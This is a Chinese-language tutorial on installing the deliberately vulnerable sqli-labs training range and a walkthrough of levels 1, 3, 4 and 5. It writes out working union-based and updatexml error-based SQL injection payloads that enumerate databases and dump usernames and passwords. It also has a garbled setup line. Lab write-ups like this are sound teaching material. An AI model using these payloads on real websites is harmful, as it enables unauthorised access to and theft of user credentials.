Sql-labs靶场搭建
首先下载sqli-labs (可以参考以下链接)
https://github.com/Audi-1/sqli-labs
打开小皮
把刚才下载的压缩包放在该目录下压缩,并压缩到当前目录
压缩完成后,打开sqli-labs-master在里面中找到sqli-connections并以记事本的方式打开db-creds.inc
打开后将 d b p a s s = ‘’改为 dbpass=‘’改为 dbpass=‘’改为dbpass=‘root’并保存
完成后打开phpstudy,启动Apache和Mysql
接着浏览器打开“http://127.0.0.1/sqli-labs-master/
”访问首页
注:不启动Apache和Mysql是不能打开上面这个网址的。打开后是这样的页面
先点击Setup/reset Database for labs使其自动创建数据库,创建表并填充数据后是这样的页面
出现这个页面是因为php版本较高
需要降级
之后返回上一个页面,点开SQLI-LABS PAGE-1出现这样的页面
sqli-labs 第一关
- 判断是否存在sql注入
提示你输入数字值的ID作为参数,我们输入id=1
通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询
接下来我们判断sql语句是否是拼接,且是字符型还是数字型
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
2.联合注入
首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。
爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。
id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。
输入 ?id=1 正常
输入 ?id=1’ 错误
输入 ?id=1–+ 正常
判段是数字型注入
输入 ?id=1 order by 3–+ 正常
判断回显位有三个
查看数据库名称:
id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata –+
产看数据库中所有的表:
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
查看所有字段:
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’—
查看数据:
id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
sqli-labs 第三关
尝试闭合查看是否存在SQL注入:
id=1 正常
id=1" 正常
id=2" 正常
id=1"–+ 正常
id=;/‘;[]’ 报错 ’ ;/‘;[]’') LIMIT 0,1 ’
判断是字符型注入,闭合方式是’)
id=1’) order by 3–+ 正常
判断回显位有三个。
id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata–+
联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
id=1’) and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=‘ctfshow’–+
爆出表是 flagaanec
id=1’) and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘flagaanec’–+
爆出列是id,flagaca
id=1’) and 1=2 union select 1,2,group_concat(flagaca) from ctfshow.flagaanec–+
sqli-labs 第四关
id=1 正常
id=2-1 回显和id=2一样,不是数字型
id=1’ 正常
id=1" 报错’“1"”) LIMIT 0,1’
判断是字符型注入,闭合方式是")
id=1") order by 3–+ 正常
判断回显位有三个。
id=1") and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata–+
联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
id=1") and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=‘ctfshow’–+
爆出表是 flagsf
id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘flagsf’–+
爆出列是id,flag23
id=-1") union select 1,2,group_concat(username ,id , password) from users–+
sqli-labs 第五关
id=1 回显You are in…
id=2-1 回显You are in…
id=1’ 回显’ ‘1’’ LIMIT 0,1 ’
判断是字符型,'闭合。
id=1’ union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema=“ctfshow”) ,0x7e),3)–+
爆数据库名:
id=1’ and updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),0,99),3) --+